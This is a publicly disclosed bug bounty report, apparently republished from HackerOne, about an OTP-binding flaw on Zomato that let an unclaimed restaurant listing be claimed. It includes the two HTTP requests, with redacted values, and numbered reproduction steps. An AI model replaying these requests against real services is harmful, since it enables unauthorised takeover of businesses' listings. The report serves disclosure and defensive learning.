Claiming the listing of a non-delivery restaurant through OTP manipulation
An endpoint that sends an OTP to a restaurant's mobile number did not bind the OTP to the restaurant ID, so an attacker could request an OTP for their own number and then verify it against a victim restaurant's ID. This allowed the attacker to map their email as owner or manager of an unclaimed restaurant.
Originally disclosed on HackerOne
- Triaged in 2 hours
- Fixed in 29 days
- Paid in 2 hours
- Disclosed after 6 months
Summary by the program
Thanks to @ashoka_rao for reporting this issue. The Researcher demonstrated a way to takeover an unclaimed non-delivery restaurant on our platform.
The report
Summary: Am able to claim any restaurant which is not claimed before.
Description: An endpoint POST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2 sends OTP to the restaurant mobile no.
##Request (Request:1) is -
POST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2
Host: www.zomato.com
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Length: 58
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/plain, */*
X-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXXXX
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://www.zomato.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.zomato.com/partner_with_us/ownership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"number":"XXXXXXXXXX","isdCode":"+91","resId":"XXXXXXXXXX"}
which responses -
{"status":"success","message":"OTP SENT","requestId":XXXXXXX,"code":2}
###Here Attacker gains OTP on his own mobile no by changing the number & resId to his own restaurant.
By using the following request (Request:2) attacker is able to map his e-mail Id as Owner / Manager to Victim restaurant.
##Request:2
POST /restaurant-onboard-diy/v2/verify-auto-claim-otp HTTP/2
Host: www.zomato.com
Cookie: XXXXXXXXXXXXXXXX
Content-Length: 68
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/plain, */*
X-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXX
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://www.zomato.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.zomato.com/partner_with_us/ownership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"verificationCode":XXX,"requestId":"XXXXXXXX","resId":"XXXXXXXXX"}
###Here by changing the verificationCode - (Otp received on Attacker Mobile in response of Request :1 )& requestId (Response of request:1) and resId to Victim Restaurant. Request:2 maps e-mail id of Attacker to Victim restaurant.
Prerequisite - Attacker should have a restaurant page, mapped Mobile No With Email Id.
**Note : - If any restaurant is not mapped owner / manager then claimed restaurant can be claimed **
Impact
Claim a restaurant.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the OTP verification endpoint trusted the restaurant ID supplied by the client instead of binding the OTP to the restaurant it was issued for.
Impact
An attacker could claim an unclaimed restaurant, but only if it has no owner or manager already mapped.
What the attacker needed
Attacker has a restaurant page with mobile and email; Victim restaurant is unclaimed
How it was found
- Send a request to the send-auto-claim-otp endpoint with your own mobile number and your own restaurant ID to receive an OTP.
- Send a request to the verify-auto-claim-otp endpoint using the received OTP, the requestId from the first response, and the victim restaurant's resId.
- The attacker's email is mapped as owner/manager of the victim restaurant.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A restaurant can be claimed by proving you control its phone number, via a one-time code (OTP). The system sent the code to the attacker's phone but then accepted it for a different restaurant, so the attacker could become the owner of someone else's restaurant.
What is Account takeover?
Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.